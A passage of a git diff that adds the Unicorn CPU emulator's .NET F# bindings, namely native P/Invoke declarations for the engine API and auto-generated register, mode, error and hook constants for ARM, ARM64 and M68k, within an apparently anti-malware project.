hook_add_arg0_arg1 = fun(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0, arg1) -> 0 + + let instance = + {new IBinding with + member thi.Version(major, minor) = version(major, minor) + member thi.UcOpen(arch, mode, uc) = uc_open(arch, mode, uc) + member thi.Close(eng) = close(eng) + member thi.MemMap(eng, adress, size, perm) = mem_map(eng, adress, size, perm) + member thi.MemWrite(eng, adress, value, size) = mem_write(eng, adress, value, size) + member thi.MemRead(eng, adress, value, size) = mem_read(eng, adress, value, size) + member thi.RegWrite(eng, regId, value) = reg_write(eng, regId, value) + member thi.RegRead(eng, regId, value) = reg_read(eng, regId, value) + member thi.EmuStart(eng, beginAddr, untilAddr, timeout, count) = emu_start(eng, beginAddr, untilAddr, timeout, count) + member thi.EmuStop(eng) = emu_stop(eng) + member this.HookDel(eng, hook) = hook_del(eng, hook) + member thi.ArchSupported(arch) = arch_supported(arch) + member thi.Errono(eng) = errno(eng) + member thi.Strerror(err) = strerror(err) + member this.MemMapPtr(eng, address, size, perms, ptr) = mem_map_ptr(eng, address, size, perms, ptr) + member this.MemUnmap(eng, address, size) = mem_unmap(eng, address, size) + member this.MemProtect(eng, address, size, perms) = mem_protect(eng, address, size, perms) + member thi.HookAddNoarg(eng, hh, callbackType, callback, userData, hookBegin, hookEnd) = hook_add_noarg(eng, hh, callbackType, callback, userData, hookBegin, hookEnd) + member thi.HookAddArg0(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0) = hook_add_arg0(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0) + member thi.HookAddArg0Arg1(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0, arg1) = hook_add_arg0_arg1(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0, arg1) + } + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/NativeBinding.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/NativeBinding.fs new file mode 100644 index 0000000..6be7b2f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/NativeBinding.fs @@ -0,0 +1,93 @@ +namespace UnicornManaged.Binding + +open System +open System.Runtime.InteropServices + +module NativeBinding = + + [] + module private Imported = + + [] + extern Int32 uc_version(UIntPtr major, UIntPtr minor) + + [] + extern Int32 uc_open(UInt32 arch, UInt32 mode, UIntPtr[] engine) + + [] + extern Int32 uc_close(UIntPtr eng) + + [] + extern Int32 uc_mem_map(UIntPtr eng, UInt64 address, UIntPtr size, UInt32 perm) + + [] + extern Int32 uc_mem_map_ptr(UIntPtr eng, UInt64 address, UIntPtr size, UInt32 perm, UIntPtr ptr) + + [] + extern Int32 uc_mem_unmap(UIntPtr eng, UInt64 address, UIntPtr size) + + [] + extern Int32 uc_mem_protect(UIntPtr eng, UInt64 address, UIntPtr size, UInt32 perms) + + [] + extern Int32 uc_mem_write(UIntPtr eng, UInt64 address, Byte[] value, UIntPtr size) + + [] + extern Int32 uc_mem_read(UIntPtr eng, UInt64 address, Byte[] value, UIntPtr size) + + [] + extern Int32 uc_reg_write(UIntPtr eng, Int32 regId, Byte[] value) + + [] + extern Int32 uc_reg_read(UIntPtr eng, Int32 regId, Byte[] value) + + [] + extern Int32 uc_emu_start(UIntPtr eng, UInt64 beginAddr, UInt64 untilAddr, UInt64 timeout, UInt64 count) + + [] + extern Int32 uc_emu_stop(UIntPtr eng) + + [] + extern Int32 uc_hook_del(UIntPtr eng, UIntPtr hook) + + [] + extern Boolean uc_arch_supported(Int32 arch) + + [] + extern Int32 uc_errno(UIntPtr eng) + + [] + extern IntPtr uc_strerror(Int32 err) + + [] + extern Int32 uc_hook_add_noarg(UIntPtr eng, UIntPtr hh, Int32 callbackType, UIntPtr callback, IntPtr userData, UInt64 hookbegin, UInt64 hookend) + + [] + extern Int32 uc_hook_add_arg0(UIntPtr eng, UIntPtr hh, Int32 callbackType, UIntPtr callback, IntPtr userData, UInt64 hookbegin, UInt64 hookend, Int32 arg0) + + [] + extern Int32 uc_hook_add_arg0_arg1(UIntPtr eng, UIntPtr hh, Int32 callbackType, UIntPtr callback, IntPtr userData, UInt64 hookbegin, UInt64 hookend, UInt64 arg0, UInt64 arg1) + + let instance = + {new IBinding with + member thi.Version(major, minor) = uc_version(major, minor) + member thi.UcOpen(arch, mode, uc) = uc_open(arch, mode, uc) + member thi.Close(eng) = uc_close(eng) + member thi.MemMap(eng, adress, size, perm) = uc_mem_map(eng, adress, size, perm) + member thi.MemWrite(eng, adress, value, size) = uc_mem_write(eng, adress, value, size) + member thi.MemRead(eng, adress, value, size) = uc_mem_read(eng, adress, value, size) + member thi.RegWrite(eng, regId, value) = uc_reg_write(eng, regId, value) + member thi.RegRead(eng, regId, value) = uc_reg_read(eng, regId, value) + member thi.EmuStart(eng, beginAddr, untilAddr, timeout, count) = uc_emu_start(eng, beginAddr, untilAddr, timeout, count) + member thi.EmuStop(eng) = uc_emu_stop(eng) + member this.HookDel(eng, hook) = uc_hook_del(eng, hook) + member thi.ArchSupported(arch) = uc_arch_supported(arch) + member thi.Errono(eng) = uc_errno(eng) + member thi.Strerror(err) = uc_strerror(err) + member this.MemMapPtr(eng, address, size, perms, ptr) = uc_mem_map_ptr(eng, address, size, perms, ptr) + member this.MemUnmap(eng, address, size) = uc_mem_unmap(eng, address, size) + member this.MemProtect(eng, address, size, perms) = uc_mem_protect(eng, address, size, perms) + member thi.HookAddNoarg(eng, hh, callbackType, callback, userData, hookBegin, hookEnd) = uc_hook_add_noarg(eng, hh, callbackType, callback, userData, hookBegin, hookEnd) + member thi.HookAddArg0(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0) = uc_hook_add_arg0(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0) + member thi.HookAddArg0Arg1(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0, arg1) = uc_hook_add_arg0_arg1(eng, hh, callbackType, callback, userData, hookBegin, hookEnd, arg0, arg1) + } \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Arm.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Arm.fs new file mode 100644 index 0000000..1751fc8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Arm.fs @@ -0,0 +1,140 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +namespace UnicornManaged.Const + +open System + +[] +module Arm = + + // ARM registers + + let UC_ARM_REG_INVALID = 0 + let UC_ARM_REG_APSR = 1 + let UC_ARM_REG_APSR_NZCV = 2 + let UC_ARM_REG_CPSR = 3 + let UC_ARM_REG_FPEXC = 4 + let UC_ARM_REG_FPINST = 5 + let UC_ARM_REG_FPSCR = 6 + let UC_ARM_REG_FPSCR_NZCV = 7 + let UC_ARM_REG_FPSID = 8 + let UC_ARM_REG_ITSTATE = 9 + let UC_ARM_REG_LR = 10 + let UC_ARM_REG_PC = 11 + let UC_ARM_REG_SP = 12 + let UC_ARM_REG_SPSR = 13 + let UC_ARM_REG_D0 = 14 + let UC_ARM_REG_D1 = 15 + let UC_ARM_REG_D2 = 16 + let UC_ARM_REG_D3 = 17 + let UC_ARM_REG_D4 = 18 + let UC_ARM_REG_D5 = 19 + let UC_ARM_REG_D6 = 20 + let UC_ARM_REG_D7 = 21 + let UC_ARM_REG_D8 = 22 + let UC_ARM_REG_D9 = 23 + let UC_ARM_REG_D10 = 24 + let UC_ARM_REG_D11 = 25 + let UC_ARM_REG_D12 = 26 + let UC_ARM_REG_D13 = 27 + let UC_ARM_REG_D14 = 28 + let UC_ARM_REG_D15 = 29 + let UC_ARM_REG_D16 = 30 + let UC_ARM_REG_D17 = 31 + let UC_ARM_REG_D18 = 32 + let UC_ARM_REG_D19 = 33 + let UC_ARM_REG_D20 = 34 + let UC_ARM_REG_D21 = 35 + let UC_ARM_REG_D22 = 36 + let UC_ARM_REG_D23 = 37 + let UC_ARM_REG_D24 = 38 + let UC_ARM_REG_D25 = 39 + let UC_ARM_REG_D26 = 40 + let UC_ARM_REG_D27 = 41 + let UC_ARM_REG_D28 = 42 + let UC_ARM_REG_D29 = 43 + let UC_ARM_REG_D30 = 44 + let UC_ARM_REG_D31 = 45 + let UC_ARM_REG_FPINST2 = 46 + let UC_ARM_REG_MVFR0 = 47 + let UC_ARM_REG_MVFR1 = 48 + let UC_ARM_REG_MVFR2 = 49 + let UC_ARM_REG_Q0 = 50 + let UC_ARM_REG_Q1 = 51 + let UC_ARM_REG_Q2 = 52 + let UC_ARM_REG_Q3 = 53 + let UC_ARM_REG_Q4 = 54 + let UC_ARM_REG_Q5 = 55 + let UC_ARM_REG_Q6 = 56 + let UC_ARM_REG_Q7 = 57 + let UC_ARM_REG_Q8 = 58 + let UC_ARM_REG_Q9 = 59 + let UC_ARM_REG_Q10 = 60 + let UC_ARM_REG_Q11 = 61 + let UC_ARM_REG_Q12 = 62 + let UC_ARM_REG_Q13 = 63 + let UC_ARM_REG_Q14 = 64 + let UC_ARM_REG_Q15 = 65 + let UC_ARM_REG_R0 = 66 + let UC_ARM_REG_R1 = 67 + let UC_ARM_REG_R2 = 68 + let UC_ARM_REG_R3 = 69 + let UC_ARM_REG_R4 = 70 + let UC_ARM_REG_R5 = 71 + let UC_ARM_REG_R6 = 72 + let UC_ARM_REG_R7 = 73 + let UC_ARM_REG_R8 = 74 + let UC_ARM_REG_R9 = 75 + let UC_ARM_REG_R10 = 76 + let UC_ARM_REG_R11 = 77 + let UC_ARM_REG_R12 = 78 + let UC_ARM_REG_S0 = 79 + let UC_ARM_REG_S1 = 80 + let UC_ARM_REG_S2 = 81 + let UC_ARM_REG_S3 = 82 + let UC_ARM_REG_S4 = 83 + let UC_ARM_REG_S5 = 84 + let UC_ARM_REG_S6 = 85 + let UC_ARM_REG_S7 = 86 + let UC_ARM_REG_S8 = 87 + let UC_ARM_REG_S9 = 88 + let UC_ARM_REG_S10 = 89 + let UC_ARM_REG_S11 = 90 + let UC_ARM_REG_S12 = 91 + let UC_ARM_REG_S13 = 92 + let UC_ARM_REG_S14 = 93 + let UC_ARM_REG_S15 = 94 + let UC_ARM_REG_S16 = 95 + let UC_ARM_REG_S17 = 96 + let UC_ARM_REG_S18 = 97 + let UC_ARM_REG_S19 = 98 + let UC_ARM_REG_S20 = 99 + let UC_ARM_REG_S21 = 100 + let UC_ARM_REG_S22 = 101 + let UC_ARM_REG_S23 = 102 + let UC_ARM_REG_S24 = 103 + let UC_ARM_REG_S25 = 104 + let UC_ARM_REG_S26 = 105 + let UC_ARM_REG_S27 = 106 + let UC_ARM_REG_S28 = 107 + let UC_ARM_REG_S29 = 108 + let UC_ARM_REG_S30 = 109 + let UC_ARM_REG_S31 = 110 + let UC_ARM_REG_C1_C0_2 = 111 + let UC_ARM_REG_C13_C0_2 = 112 + let UC_ARM_REG_C13_C0_3 = 113 + let UC_ARM_REG_IPSR = 114 + let UC_ARM_REG_MSP = 115 + let UC_ARM_REG_PSP = 116 + let UC_ARM_REG_CONTROL = 117 + let UC_ARM_REG_ENDING = 118 + + // alias registers + let UC_ARM_REG_R13 = 12 + let UC_ARM_REG_R14 = 10 + let UC_ARM_REG_R15 = 11 + let UC_ARM_REG_SB = 75 + let UC_ARM_REG_SL = 76 + let UC_ARM_REG_FP = 77 + let UC_ARM_REG_IP = 78 + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Arm64.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Arm64.fs new file mode 100644 index 0000000..a2ec894 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Arm64.fs @@ -0,0 +1,319 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +namespace UnicornManaged.Const + +open System + +[] +module Arm64 = + + // ARM64 registers + + let UC_ARM64_REG_INVALID = 0 + let UC_ARM64_REG_X29 = 1 + let UC_ARM64_REG_X30 = 2 + let UC_ARM64_REG_NZCV = 3 + let UC_ARM64_REG_SP = 4 + let UC_ARM64_REG_WSP = 5 + let UC_ARM64_REG_WZR = 6 + let UC_ARM64_REG_XZR = 7 + let UC_ARM64_REG_B0 = 8 + let UC_ARM64_REG_B1 = 9 + let UC_ARM64_REG_B2 = 10 + let UC_ARM64_REG_B3 = 11 + let UC_ARM64_REG_B4 = 12 + let UC_ARM64_REG_B5 = 13 + let UC_ARM64_REG_B6 = 14 + let UC_ARM64_REG_B7 = 15 + let UC_ARM64_REG_B8 = 16 + let UC_ARM64_REG_B9 = 17 + let UC_ARM64_REG_B10 = 18 + let UC_ARM64_REG_B11 = 19 + let UC_ARM64_REG_B12 = 20 + let UC_ARM64_REG_B13 = 21 + let UC_ARM64_REG_B14 = 22 + let UC_ARM64_REG_B15 = 23 + let UC_ARM64_REG_B16 = 24 + let UC_ARM64_REG_B17 = 25 + let UC_ARM64_REG_B18 = 26 + let UC_ARM64_REG_B19 = 27 + let UC_ARM64_REG_B20 = 28 + let UC_ARM64_REG_B21 = 29 + let UC_ARM64_REG_B22 = 30 + let UC_ARM64_REG_B23 = 31 + let UC_ARM64_REG_B24 = 32 + let UC_ARM64_REG_B25 = 33 + let UC_ARM64_REG_B26 = 34 + let UC_ARM64_REG_B27 = 35 + let UC_ARM64_REG_B28 = 36 + let UC_ARM64_REG_B29 = 37 + let UC_ARM64_REG_B30 = 38 + let UC_ARM64_REG_B31 = 39 + let UC_ARM64_REG_D0 = 40 + let UC_ARM64_REG_D1 = 41 + let UC_ARM64_REG_D2 = 42 + let UC_ARM64_REG_D3 = 43 + let UC_ARM64_REG_D4 = 44 + let UC_ARM64_REG_D5 = 45 + let UC_ARM64_REG_D6 = 46 + let UC_ARM64_REG_D7 = 47 + let UC_ARM64_REG_D8 = 48 + let UC_ARM64_REG_D9 = 49 + let UC_ARM64_REG_D10 = 50 + let UC_ARM64_REG_D11 = 51 + let UC_ARM64_REG_D12 = 52 + let UC_ARM64_REG_D13 = 53 + let UC_ARM64_REG_D14 = 54 + let UC_ARM64_REG_D15 = 55 + let UC_ARM64_REG_D16 = 56 + let UC_ARM64_REG_D17 = 57 + let UC_ARM64_REG_D18 = 58 + let UC_ARM64_REG_D19 = 59 + let UC_ARM64_REG_D20 = 60 + let UC_ARM64_REG_D21 = 61 + let UC_ARM64_REG_D22 = 62 + let UC_ARM64_REG_D23 = 63 + let UC_ARM64_REG_D24 = 64 + let UC_ARM64_REG_D25 = 65 + let UC_ARM64_REG_D26 = 66 + let UC_ARM64_REG_D27 = 67 + let UC_ARM64_REG_D28 = 68 + let UC_ARM64_REG_D29 = 69 + let UC_ARM64_REG_D30 = 70 + let UC_ARM64_REG_D31 = 71 + let UC_ARM64_REG_H0 = 72 + let UC_ARM64_REG_H1 = 73 + let UC_ARM64_REG_H2 = 74 + let UC_ARM64_REG_H3 = 75 + let UC_ARM64_REG_H4 = 76 + let UC_ARM64_REG_H5 = 77 + let UC_ARM64_REG_H6 = 78 + let UC_ARM64_REG_H7 = 79 + let UC_ARM64_REG_H8 = 80 + let UC_ARM64_REG_H9 = 81 + let UC_ARM64_REG_H10 = 82 + let UC_ARM64_REG_H11 = 83 + let UC_ARM64_REG_H12 = 84 + let UC_ARM64_REG_H13 = 85 + let UC_ARM64_REG_H14 = 86 + let UC_ARM64_REG_H15 = 87 + let UC_ARM64_REG_H16 = 88 + let UC_ARM64_REG_H17 = 89 + let UC_ARM64_REG_H18 = 90 + let UC_ARM64_REG_H19 = 91 + let UC_ARM64_REG_H20 = 92 + let UC_ARM64_REG_H21 = 93 + let UC_ARM64_REG_H22 = 94 + let UC_ARM64_REG_H23 = 95 + let UC_ARM64_REG_H24 = 96 + let UC_ARM64_REG_H25 = 97 + let UC_ARM64_REG_H26 = 98 + let UC_ARM64_REG_H27 = 99 + let UC_ARM64_REG_H28 = 100 + let UC_ARM64_REG_H29 = 101 + let UC_ARM64_REG_H30 = 102 + let UC_ARM64_REG_H31 = 103 + let UC_ARM64_REG_Q0 = 104 + let UC_ARM64_REG_Q1 = 105 + let UC_ARM64_REG_Q2 = 106 + let UC_ARM64_REG_Q3 = 107 + let UC_ARM64_REG_Q4 = 108 + let UC_ARM64_REG_Q5 = 109 + let UC_ARM64_REG_Q6 = 110 + let UC_ARM64_REG_Q7 = 111 + let UC_ARM64_REG_Q8 = 112 + let UC_ARM64_REG_Q9 = 113 + let UC_ARM64_REG_Q10 = 114 + let UC_ARM64_REG_Q11 = 115 + let UC_ARM64_REG_Q12 = 116 + let UC_ARM64_REG_Q13 = 117 + let UC_ARM64_REG_Q14 = 118 + let UC_ARM64_REG_Q15 = 119 + let UC_ARM64_REG_Q16 = 120 + let UC_ARM64_REG_Q17 = 121 + let UC_ARM64_REG_Q18 = 122 + let UC_ARM64_REG_Q19 = 123 + let UC_ARM64_REG_Q20 = 124 + let UC_ARM64_REG_Q21 = 125 + let UC_ARM64_REG_Q22 = 126 + let UC_ARM64_REG_Q23 = 127 + let UC_ARM64_REG_Q24 = 128 + let UC_ARM64_REG_Q25 = 129 + let UC_ARM64_REG_Q26 = 130 + let UC_ARM64_REG_Q27 = 131 + let UC_ARM64_REG_Q28 = 132 + let UC_ARM64_REG_Q29 = 133 + let UC_ARM64_REG_Q30 = 134 + let UC_ARM64_REG_Q31 = 135 + let UC_ARM64_REG_S0 = 136 + let UC_ARM64_REG_S1 = 137 + let UC_ARM64_REG_S2 = 138 + let UC_ARM64_REG_S3 = 139 + let UC_ARM64_REG_S4 = 140 + let UC_ARM64_REG_S5 = 141 + let UC_ARM64_REG_S6 = 142 + let UC_ARM64_REG_S7 = 143 + let UC_ARM64_REG_S8 = 144 + let UC_ARM64_REG_S9 = 145 + let UC_ARM64_REG_S10 = 146 + let UC_ARM64_REG_S11 = 147 + let UC_ARM64_REG_S12 = 148 + let UC_ARM64_REG_S13 = 149 + let UC_ARM64_REG_S14 = 150 + let UC_ARM64_REG_S15 = 151 + let UC_ARM64_REG_S16 = 152 + let UC_ARM64_REG_S17 = 153 + let UC_ARM64_REG_S18 = 154 + let UC_ARM64_REG_S19 = 155 + let UC_ARM64_REG_S20 = 156 + let UC_ARM64_REG_S21 = 157 + let UC_ARM64_REG_S22 = 158 + let UC_ARM64_REG_S23 = 159 + let UC_ARM64_REG_S24 = 160 + let UC_ARM64_REG_S25 = 161 + let UC_ARM64_REG_S26 = 162 + let UC_ARM64_REG_S27 = 163 + let UC_ARM64_REG_S28 = 164 + let UC_ARM64_REG_S29 = 165 + let UC_ARM64_REG_S30 = 166 + let UC_ARM64_REG_S31 = 167 + let UC_ARM64_REG_W0 = 168 + let UC_ARM64_REG_W1 = 169 + let UC_ARM64_REG_W2 = 170 + let UC_ARM64_REG_W3 = 171 + let UC_ARM64_REG_W4 = 172 + let UC_ARM64_REG_W5 = 173 + let UC_ARM64_REG_W6 = 174 + let UC_ARM64_REG_W7 = 175 + let UC_ARM64_REG_W8 = 176 + let UC_ARM64_REG_W9 = 177 + let UC_ARM64_REG_W10 = 178 + let UC_ARM64_REG_W11 = 179 + let UC_ARM64_REG_W12 = 180 + let UC_ARM64_REG_W13 = 181 + let UC_ARM64_REG_W14 = 182 + let UC_ARM64_REG_W15 = 183 + let UC_ARM64_REG_W16 = 184 + let UC_ARM64_REG_W17 = 185 + let UC_ARM64_REG_W18 = 186 + let UC_ARM64_REG_W19 = 187 + let UC_ARM64_REG_W20 = 188 + let UC_ARM64_REG_W21 = 189 + let UC_ARM64_REG_W22 = 190 + let UC_ARM64_REG_W23 = 191 + let UC_ARM64_REG_W24 = 192 + let UC_ARM64_REG_W25 = 193 + let UC_ARM64_REG_W26 = 194 + let UC_ARM64_REG_W27 = 195 + let UC_ARM64_REG_W28 = 196 + let UC_ARM64_REG_W29 = 197 + let UC_ARM64_REG_W30 = 198 + let UC_ARM64_REG_X0 = 199 + let UC_ARM64_REG_X1 = 200 + let UC_ARM64_REG_X2 = 201 + let UC_ARM64_REG_X3 = 202 + let UC_ARM64_REG_X4 = 203 + let UC_ARM64_REG_X5 = 204 + let UC_ARM64_REG_X6 = 205 + let UC_ARM64_REG_X7 = 206 + let UC_ARM64_REG_X8 = 207 + let UC_ARM64_REG_X9 = 208 + let UC_ARM64_REG_X10 = 209 + let UC_ARM64_REG_X11 = 210 + let UC_ARM64_REG_X12 = 211 + let UC_ARM64_REG_X13 = 212 + let UC_ARM64_REG_X14 = 213 + let UC_ARM64_REG_X15 = 214 + let UC_ARM64_REG_X16 = 215 + let UC_ARM64_REG_X17 = 216 + let UC_ARM64_REG_X18 = 217 + let UC_ARM64_REG_X19 = 218 + let UC_ARM64_REG_X20 = 219 + let UC_ARM64_REG_X21 = 220 + let UC_ARM64_REG_X22 = 221 + let UC_ARM64_REG_X23 = 222 + let UC_ARM64_REG_X24 = 223 + let UC_ARM64_REG_X25 = 224 + let UC_ARM64_REG_X26 = 225 + let UC_ARM64_REG_X27 = 226 + let UC_ARM64_REG_X28 = 227 + let UC_ARM64_REG_V0 = 228 + let UC_ARM64_REG_V1 = 229 + let UC_ARM64_REG_V2 = 230 + let UC_ARM64_REG_V3 = 231 + let UC_ARM64_REG_V4 = 232 + let UC_ARM64_REG_V5 = 233 + let UC_ARM64_REG_V6 = 234 + let UC_ARM64_REG_V7 = 235 + let UC_ARM64_REG_V8 = 236 + let UC_ARM64_REG_V9 = 237 + let UC_ARM64_REG_V10 = 238 + let UC_ARM64_REG_V11 = 239 + let UC_ARM64_REG_V12 = 240 + let UC_ARM64_REG_V13 = 241 + let UC_ARM64_REG_V14 = 242 + let UC_ARM64_REG_V15 = 243 + let UC_ARM64_REG_V16 = 244 + let UC_ARM64_REG_V17 = 245 + let UC_ARM64_REG_V18 = 246 + let UC_ARM64_REG_V19 = 247 + let UC_ARM64_REG_V20 = 248 + let UC_ARM64_REG_V21 = 249 + let UC_ARM64_REG_V22 = 250 + let UC_ARM64_REG_V23 = 251 + let UC_ARM64_REG_V24 = 252 + let UC_ARM64_REG_V25 = 253 + let UC_ARM64_REG_V26 = 254 + let UC_ARM64_REG_V27 = 255 + let UC_ARM64_REG_V28 = 256 + let UC_ARM64_REG_V29 = 257 + let UC_ARM64_REG_V30 = 258 + let UC_ARM64_REG_V31 = 259 + + // pseudo registers + let UC_ARM64_REG_PC = 260 + let UC_ARM64_REG_CPACR_EL1 = 261 + + // thread registers + let UC_ARM64_REG_TPIDR_EL0 = 262 + let UC_ARM64_REG_TPIDRRO_EL0 = 263 + let UC_ARM64_REG_TPIDR_EL1 = 264 + let UC_ARM64_REG_PSTATE = 265 + + // exception link registers + let UC_ARM64_REG_ELR_EL0 = 266 + let UC_ARM64_REG_ELR_EL1 = 267 + let UC_ARM64_REG_ELR_EL2 = 268 + let UC_ARM64_REG_ELR_EL3 = 269 + + // stack pointers registers + let UC_ARM64_REG_SP_EL0 = 270 + let UC_ARM64_REG_SP_EL1 = 271 + let UC_ARM64_REG_SP_EL2 = 272 + let UC_ARM64_REG_SP_EL3 = 273 + + // other CP15 registers + let UC_ARM64_REG_TTBR0_EL1 = 274 + let UC_ARM64_REG_TTBR1_EL1 = 275 + let UC_ARM64_REG_ESR_EL0 = 276 + let UC_ARM64_REG_ESR_EL1 = 277 + let UC_ARM64_REG_ESR_EL2 = 278 + let UC_ARM64_REG_ESR_EL3 = 279 + let UC_ARM64_REG_FAR_EL0 = 280 + let UC_ARM64_REG_FAR_EL1 = 281 + let UC_ARM64_REG_FAR_EL2 = 282 + let UC_ARM64_REG_FAR_EL3 = 283 + let UC_ARM64_REG_PAR_EL1 = 284 + let UC_ARM64_REG_MAIR_EL1 = 285 + let UC_ARM64_REG_VBAR_EL0 = 286 + let UC_ARM64_REG_VBAR_EL1 = 287 + let UC_ARM64_REG_VBAR_EL2 = 288 + let UC_ARM64_REG_VBAR_EL3 = 289 + let UC_ARM64_REG_ENDING = 290 + + // alias registers + let UC_ARM64_REG_IP0 = 215 + let UC_ARM64_REG_IP1 = 216 + let UC_ARM64_REG_FP = 1 + let UC_ARM64_REG_LR = 2 + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Common.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Common.fs new file mode 100644 index 0000000..c80ded8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Common.fs @@ -0,0 +1,116 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +namespace UnicornManaged.Const + +open System + +[] +module Common = + let UC_API_MAJOR = 1 + + let UC_API_MINOR = 0 + let UC_VERSION_MAJOR = 1 + + let UC_VERSION_MINOR = 0 + let UC_VERSION_EXTRA = 2 + let UC_SECOND_SCALE = 1000000 + let UC_MILISECOND_SCALE = 1000 + let UC_ARCH_ARM = 1 + let UC_ARCH_ARM64 = 2 + let UC_ARCH_MIPS = 3 + let UC_ARCH_X86 = 4 + let UC_ARCH_PPC = 5 + let UC_ARCH_SPARC = 6 + let UC_ARCH_M68K = 7 + let UC_ARCH_MAX = 8 + + let UC_MODE_LITTLE_ENDIAN = 0 + let UC_MODE_BIG_ENDIAN = 1073741824 + + let UC_MODE_ARM = 0 + let UC_MODE_THUMB = 16 + let UC_MODE_MCLASS = 32 + let UC_MODE_V8 = 64 + let UC_MODE_ARM926 = 128 + let UC_MODE_ARM946 = 256 + let UC_MODE_ARM1176 = 512 + let UC_MODE_MICRO = 16 + let UC_MODE_MIPS3 = 32 + let UC_MODE_MIPS32R6 = 64 + let UC_MODE_MIPS32 = 4 + let UC_MODE_MIPS64 = 8 + let UC_MODE_16 = 2 + let UC_MODE_32 = 4 + let UC_MODE_64 = 8 + let UC_MODE_PPC32 = 4 + let UC_MODE_PPC64 = 8 + let UC_MODE_QPX = 16 + let UC_MODE_SPARC32 = 4 + let UC_MODE_SPARC64 = 8 + let UC_MODE_V9 = 16 + + let UC_ERR_OK = 0 + let UC_ERR_NOMEM = 1 + let UC_ERR_ARCH = 2 + let UC_ERR_HANDLE = 3 + let UC_ERR_MODE = 4 + let UC_ERR_VERSION = 5 + let UC_ERR_READ_UNMAPPED = 6 + let UC_ERR_WRITE_UNMAPPED = 7 + let UC_ERR_FETCH_UNMAPPED = 8 + let UC_ERR_HOOK = 9 + let UC_ERR_INSN_INVALID = 10 + let UC_ERR_MAP = 11 + let UC_ERR_WRITE_PROT = 12 + let UC_ERR_READ_PROT = 13 + let UC_ERR_FETCH_PROT = 14 + let UC_ERR_ARG = 15 + let UC_ERR_READ_UNALIGNED = 16 + let UC_ERR_WRITE_UNALIGNED = 17 + let UC_ERR_FETCH_UNALIGNED = 18 + let UC_ERR_HOOK_EXIST = 19 + let UC_ERR_RESOURCE = 20 + let UC_ERR_EXCEPTION = 21 + let UC_MEM_READ = 16 + let UC_MEM_WRITE = 17 + let UC_MEM_FETCH = 18 + let UC_MEM_READ_UNMAPPED = 19 + let UC_MEM_WRITE_UNMAPPED = 20 + let UC_MEM_FETCH_UNMAPPED = 21 + let UC_MEM_WRITE_PROT = 22 + let UC_MEM_READ_PROT = 23 + let UC_MEM_FETCH_PROT = 24 + let UC_MEM_READ_AFTER = 25 + let UC_HOOK_INTR = 1 + let UC_HOOK_INSN = 2 + let UC_HOOK_CODE = 4 + let UC_HOOK_BLOCK = 8 + let UC_HOOK_MEM_READ_UNMAPPED = 16 + let UC_HOOK_MEM_WRITE_UNMAPPED = 32 + let UC_HOOK_MEM_FETCH_UNMAPPED = 64 + let UC_HOOK_MEM_READ_PROT = 128 + let UC_HOOK_MEM_WRITE_PROT = 256 + let UC_HOOK_MEM_FETCH_PROT = 512 + let UC_HOOK_MEM_READ = 1024 + let UC_HOOK_MEM_WRITE = 2048 + let UC_HOOK_MEM_FETCH = 4096 + let UC_HOOK_MEM_READ_AFTER = 8192 + let UC_HOOK_INSN_INVALID = 16384 + let UC_HOOK_MEM_UNMAPPED = 112 + let UC_HOOK_MEM_PROT = 896 + let UC_HOOK_MEM_READ_INVALID = 144 + let UC_HOOK_MEM_WRITE_INVALID = 288 + let UC_HOOK_MEM_FETCH_INVALID = 576 + let UC_HOOK_MEM_INVALID = 1008 + let UC_HOOK_MEM_VALID = 7168 + let UC_QUERY_MODE = 1 + let UC_QUERY_PAGE_SIZE = 2 + let UC_QUERY_ARCH = 3 + let UC_QUERY_TIMEOUT = 4 + + let UC_PROT_NONE = 0 + let UC_PROT_READ = 1 + let UC_PROT_WRITE = 2 + let UC_PROT_EXEC = 4 + let UC_PROT_ALL = 7 + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/M68k.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/M68k.fs new file mode 100644 index 0000000..8fc5157 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/M68k.fs @@ -0,0 +1,32 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +namespace UnicornManaged.Const + +open System + +[] +module M68k = + + // M68K registers + + let UC_M68K_REG_INVALID = 0 + let UC_M68K_REG_A0 = 1 + let UC_M68K_REG_A1 = 2 + let UC_M68K_REG_A2 = 3 + let UC_M68K_REG_A3 = 4 + let UC_M68K_REG_A4 = 5 + let UC_M68K_REG_A5 = 6 + let UC_M68K_REG_A6 = 7 + let UC_M68K_REG_A7 = 8 + let UC_M68K_REG_D0 = 9 + let UC_M68K_REG_D1 = 10 + let UC_M68K_REG_D2 = 11 + let UC_M68K_REG_D3 = 